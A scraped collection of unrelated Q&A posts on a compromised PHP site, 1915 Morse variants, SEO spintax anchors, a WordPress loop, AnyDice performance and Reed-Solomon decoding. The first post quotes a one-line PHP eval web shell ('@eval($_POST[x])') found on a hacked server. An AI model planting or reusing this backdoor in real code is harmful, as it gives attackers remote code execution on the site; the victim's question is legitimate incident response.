.php code in .txt file with eval() function [duplicate]

I have found three files with name as below:

  a.phpfile.txt   b.phpfile.txt   c.phpfile.txt 

when i open, each file contained with the following code:

  <?php @eval($  _POST[x]); 

I have deleted all the pages from my website, but i am need to know that with the above code, what a hacker can do with my site?

I think, the files were uploaded by the hackers using sqlmap because i had created db user with full privileges on database. So, I changed the permissions of the website users as well.

What exactly was “‘dotty’ and ‘dashy'” Morse code?

During early World War I (1914–1916), Germany briefly experimented with ‘dotty’ and ‘dashy’ Morse, in essence adding a dot or a dash at the end of each Morse symbol. Each one was quickly broken by Allied SIGINT, and standard Morse was restored by Spring 1916.

Source: https://en.wikipedia.org/wiki/Morse_code#Unusual_variants

Emphasis mine.

That’s all it says on that Wikipedia article. It makes no sense to me. It’s implied that this was supposed to be some kind of encryption/cipher addition, but how is “adding a dot or a dash at the end of each Morse symbol” anything but “slightly incompatible” with the existing system? Something is not being told in that brief description.

Sure, it was ~1915, so they didn’t exactly have advanced computers yet, but what’s said above is at the level of what a child would come up with to “talk secretly” to their sibling without their parents understanding. Cryptography surely had existed as a concept (if only done with pen and paper, or with crude machines) for a long time by that time?

where to put multiple url spintax code ?

i want to use spintax code with multiple urls , the spintax code is not locked to a specific url but is to be used with all of the urls
the spintax code is partial match
as an example car insurance new york
pet insurance houston
with generic text added on
i tried putting the code into the “generic” text file using the “edit” button, but didnt realise it is “global” & so you have insurance terms for all your other projects
in the “url” box at top i tried using that but it wont take the code, the code im using at the moment in the url box is
url#{car insurance miami|another car insurance}
2ndurl#{2ndcar insurance miami|2ndanother car insurance}
(this is working ok)
i tried using the “anchor text” field & then saw it says “this is ignored if you use an anchor text in the url field”
which i am using (above)
i tried putting it in “partial match anchor text” & it cuts off the code after a short amount of words.
ive tried “secondary” “branding” & “lsi” boxes below that to put the text in & they all cut the text off & show the error message when you close the box because it has cut off the text & so the code has errors in it.
so the code is not binding anchors to url, if it was there would be even more code, it is generic with keywords (partial match) for all urls, but i cant see where to put it.

How do you output custom code before a subset of posts in the loop?

I have a foreach loop for a custom post type ordered by date (meta key). If a post’s associated date is less than the current date (i.e., dates not in the future), I want to output some HTML. if ($ custom_post_date >= $ today && $ index === 1) The problem I am running into is that the HTML gets output after the first post that is in the past. How can I output the HTML before the first post that meets the criteria? Is there a way to go back in the foreach loop or something to that effect?

AnyDice — efficiency of code calculating rolls hitting a target with mixed pools; hitting the 5 second barrier

I have some code that is hitting the 5 second barrier;

function: target N:n of A:s B:s C:s {     result: [count {1..N, 1..(N/2)} in [sort {A, B, C}]] } output [target 7 of 4d12 0d20 0d8] output [target 7 of 4d12 2d20 0d8] output [target 7 of 4d12 4d20 0d8] 

Even if I remove the final output line, it still fails.

I believe the code does what I want it to – calculate the number of dice rolling at or under the target from mixed pools (it runs when using other pools: d20s seem to be a problem).

Is there anyway I can improve it so that at least the first two of these output lines will run (or better yet, all three of them)?

N.b. from my perspective these were some of the simplest pools I wanted to look at.

RC-Code if I have a generator matrix for a specific code how do I get the distance to the dual code?

$ \mathcal{R} \mathcal{S}_{6, 3}$ and $ a_{i} \in \mathbb{F}_{11}$

G=\begin{pmatrix}1&1&1 &1&1&1\ 0&1&2 &3&4&5\ 0&1^2&2^2 &3^2&4^2&5^2 \end{pmatrix}

G=\begin{pmatrix} 1&1&1 &1&1&1\0&1&2 &3&4&5\ 0&1&4 &9&5&3 \end{pmatrix}

I now have to determine the distance to the dual code.

Any clue how to accomplish this?

Thanks for any help.

How do I decode a received polynomial code with an error?

As a message I get (5,0,1,3), which is coding a sequence of numbers of length 2 in $ \mathbb{F}_7$ as polynom with the 4 support points a1 = 0, a2 = 1, a3 = 2, a4 = 6. In the transimission occured an error. Calculate the original message.

How do I do this? In my script we didnt’t talked about polynomial codes directly just about the cyclic code. And the topic of this exercise is polynomial codes.

Could someone please get me through this or explain a way? Thanks for any help!
